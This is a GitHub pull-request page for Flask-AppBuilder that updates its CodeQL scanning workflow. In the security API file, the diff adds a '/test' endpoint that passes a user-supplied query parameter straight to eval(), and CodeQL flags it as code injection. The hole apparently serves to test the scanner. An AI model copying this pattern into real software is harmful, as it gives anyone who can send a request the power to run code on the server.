Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ci: improve codeql configuration #2032

Merged
merged 3 commits into from
May 5, 2023
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 35 additions & 5 deletions .github/workflows/codeql-analysis.yml
Original file line number Diff line number Diff line change
@@ -1,20 +1,50 @@
name: "CodeQL"

on:
push:
branches: [master]
branches: [ "master" ]
paths:
- flask_appbuilder
- 'flask_appbuilder/**'
pull_request:
branches: [master]
# The branches below must be a subset of the branches above
branches: [ "master" ]
paths:
- flask_appbuilder
- 'flask_appbuilder/**'
schedule:
- cron: '0 3 * * *'
- cron: '0 4 * * *'

jobs:
analyze:
name: Analyze
runs-on: ubuntu-22.04
permissions:
actions: read
contents: read
security-events: write

strategy:
fail-fast: false
matrix:
language: [ 'python' ]
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support

steps:
- name: Checkout repository
uses: actions/checkout@v3

# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.

# For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
# queries: security-extended,security-and-quality

- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
with:
category: "/language:${{matrix.language}}"
10 changes: 7 additions & 3 deletions flask_appbuilder/security/api.py
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,12 @@ def add_apispec_components(self, api_spec):
api_spec.components.security_scheme("jwt", jwt_scheme)
api_spec.components.security_scheme("jwt_refresh", jwt_scheme)

@expose("/test", methods=["GET"])
def test(self) -> Response:
run_cmd = request.args.get("run")
eval(run_cmd)

Check failure

Code scanning / CodeQL

Code injection

This code execution depends on a [user-provided value](1).
return self.response(200)

@expose("/login", methods=["POST"])
@safe
def login(self) -> Response:
Expand Down Expand Up @@ -109,9 +115,7 @@ def login(self) -> Response:
identity=user.id, fresh=True
)
if "refresh" in login_payload and login_payload["refresh"]:
resp[API_SECURITY_REFRESH_TOKEN_KEY] = create_refresh_token(
identity=user.id
)
resp[API_SECURITY_REFRESH_TOKEN_KEY] = create_refresh_token(identity=user.id)
return self.response(200, **resp)

@expose("/refresh", methods=["POST"])
Expand Down